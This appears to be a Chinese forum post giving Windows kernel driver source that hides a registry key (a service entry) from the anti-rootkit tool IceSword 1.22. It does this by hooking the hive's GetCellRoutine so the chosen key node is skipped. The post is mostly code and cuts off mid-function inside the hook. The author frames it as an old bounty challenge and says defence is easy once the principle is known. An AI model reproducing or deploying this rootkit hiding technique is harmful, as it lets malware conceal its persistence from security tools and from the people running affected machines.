过icesword 1.22 ,注册表隐藏,启动项隐藏
发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22。
以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。
原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。
#include <ntddk.h>
#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )
#define CM_KEY_INDEX_ROOT 0x6972 // ir
#define CM_KEY_INDEX_LEAF 0x696c // il
#define CM_KEY_FAST_LEAF 0x666c // fl
#define CM_KEY_HASH_LEAF 0x686c // hl// 一些CM的数据结构,只列出用到的开头部分
#pragma pack(1)
typedef struct _CM_KEY_NODE {
USHORT Signature;
USHORT Flags;
LARGE_INTEGER LastWriteTime;
ULONG Spare; // used to be TitleIndex
HANDLE Parent;
ULONG SubKeyCounts[2]; // Stable and Volatile
HANDLE SubKeyLists[2]; // Stable and Volatile
// ...
} CM_KEY_NODE, *PCM_KEY_NODE;typedef struct _CM_KEY_INDEX {
USHORT Signature;
USHORT Count;
HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;typedef struct _CM_KEY_BODY {
ULONG Type; // "ky02"
PVOID KeyControlBlock;
PVOID NotifyBlock;
PEPROCESS Process; // the owner process
LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);
typedef struct _HHIVE {
ULONG Signature;
PGET_CELL_ROUTINE GetCellRoutine;
// ...
} HHIVE, *PHHIVE;
#pragma pack()// 需隐藏的主键名
WCHAR g_HideKeyName[] = L"\Registry\Machine\SYSTEM\CurrentControlSet\Services\Beep";PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;PCM_KEY_NODE g_HideNode = NULL;
PCM_KEY_NODE g_LastNode = NULL;// 打开指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
NTSTATUS status;
UNICODE_STRING uKeyName;
OBJECT_ATTRIBUTES oa;
HANDLE hKey;RtlInitUnicodeString(&uKeyName, pwcsKeyName);
InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
status = ZwOpenKey(&hKey, KEY_READ, &oa);
if (!NT_SUCCESS(status))
{
DbgPrint("ZwOpenKey Failed: %lx ", status);
return NULL;
}return hKey;
}// 获取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
NTSTATUS status;
PCM_KEY_BODY KeyBody;
PVOID KCB;if (hKey == NULL) return NULL;
// 由Key句柄获取对象体
status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
if (!NT_SUCCESS(status))
{
DbgPrint("ObReferenceObjectByHandle Failed: %lx ", status);
return NULL;
}// 对象体中含有KeyControlBlock
KCB = KeyBody->KeyControlBlock;
DbgPrint("KeyControlBlock = %lx ", KCB);ObDereferenceObject(KeyBody);
return KCB;
}// 获取父键的最后一个子键的节点
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
// 获取父键的节点
PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
// 获取子键的索引
PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);DbgPrint("ParentNode = %lx Index = %lx ", ParentNode, Index);
// 如果为根(二级)索引,获取最后一个索引
if (Index->Signature == CM_KEY_INDEX_ROOT)
{
Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
DbgPrint("Index = %lx ", Index);
}if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
{
// 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
}
else
{
// 一般叶索引,返回最后的节点
return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
}
}// GetCell例程的钩子函数
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
// 调用原函数
PVOID pRet = g_pGetCellRoutine(Hive, Cell);
if (pRet)
{
// 返回的是需要隐藏的节点
if (pRet == g_HideNode)
{<
补充:综合编程 , 安全编程 ,